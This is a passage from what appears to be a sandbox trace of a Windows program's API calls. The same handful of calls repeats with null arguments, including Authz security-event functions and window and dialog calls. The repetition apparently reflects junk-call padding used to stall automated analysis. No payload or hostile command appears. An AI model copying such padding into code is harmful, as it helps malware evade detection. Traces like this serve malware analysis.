(hWnd=0x0, lpString="") returned 0 [0025.497] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.497] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.497] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.497] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.497] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.497] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.498] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.498] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.498] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.498] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.498] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.498] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.498] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.498] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.498] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.498] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.498] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.499] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.499] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.499] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.499] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.499] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.499] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.499] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.499] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.499] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.499] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.499] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.500] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.500] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.500] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.500] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.500] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.500] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.500] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.500] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.500] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.500] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.500] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.500] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.500] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.500] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.500] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.500] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.500] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.500] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.500] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.500] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.500] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.500] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.500] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.500] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.500] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.500] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.501] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.501] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.501] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.501] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.501] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.501] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.501] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.501] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.501] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.501] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.501] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.501] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.501] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.501] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.501] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.501] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.501] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.501] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.501] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.501] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.501] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.501] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.501] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.501] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.502] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.502] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.502] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.502] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.502] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.502] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.502] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.502] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.502] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.502] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.502] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.503] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.503] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.503] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.503] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.503] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.503] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.503] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.503] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.503] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.503] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.503] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.504] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.504] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.504] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.504] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.504] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.504] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.504] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.504] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.504] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.504] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.504] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.504] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.505] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.505] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.505] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, 